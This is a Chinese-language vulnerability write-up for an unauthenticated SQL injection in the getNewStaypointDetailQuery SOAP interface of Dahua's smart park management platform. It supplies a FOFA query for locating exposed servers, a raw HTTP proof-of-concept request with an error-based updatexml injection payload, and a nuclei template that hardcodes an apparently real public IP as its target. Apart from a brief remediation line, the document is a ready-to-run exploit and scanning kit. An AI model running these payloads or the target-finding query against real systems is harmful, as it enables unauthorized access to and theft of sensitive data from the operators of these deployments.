大华智慧园区综合管理平台getNewStaypointDetailQuery存在SQL注入漏洞

漏洞描述

大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。未授权攻击者可利用此漏洞获取敏感信息。

产品界面

fofa语法

app="dahua-智慧园区综合管理平台"

POC

POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/xml;charset=UTF-8
Content-Length: 491
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<car:getNewStaypointDetailQuery>
<!--type: string-->
<searchJson>{}</searchJson>
<!--type: string-->
<pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,md5(123456),0x7e),1)--"}</pageJson>
<!--type: string-->
<extend>quae divum incedo</extend>
</car:getNewStaypointDetailQuery>
</soapenv:Body>
</soapenv:Envelope>

nuclei验证

id: dahua-WPMS-getNewStaypointDetailQuery-sql
info:
  name: 大华智慧园区综合管理平台getNewStaypointDetailQuery存在SQL注入漏洞
  author: nobody
  severity: high
  description: |
    大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。未授权攻击者可利用此漏洞获取敏感信息。
  impact: |
    未授权攻击者可利用此漏洞获取敏感信息。
  remediation: |
    升级版本，打补丁
  metadata:
    verified: true
    max-request: 3
    fofa-query: app="dahua-智慧园区综合管理平台"
  tags: dahua,sql
requests:
  - raw:
      - |
        POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
        Host: 223.112.57.10:9080
        User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
        Content-Type: text/xml;charset=UTF-8
        Content-Length: 491
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
        <soapenv:Header/>
        <soapenv:Body>
        <car:getNewStaypointDetailQuery>
        <!--type: string-->
        <searchJson>{}</searchJson>
        <!--type: string-->
        <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,md5(123456),0x7e),1)--"}</pageJson>
        <!--type: string-->
        <extend>quae divum incedo</extend>
        </car:getNewStaypointDetailQuery>
        </soapenv:Body>
        </soapenv:Envelope>
    matchers:
      - type: dsl
        dsl:
          - status_code == 500 && contains_all(body,"XPATH syntax error","~e10adc3949ba59abbe56e057f20f883")

修复建议

• 建议升级到最新版本或打补丁
• 输入做严格过滤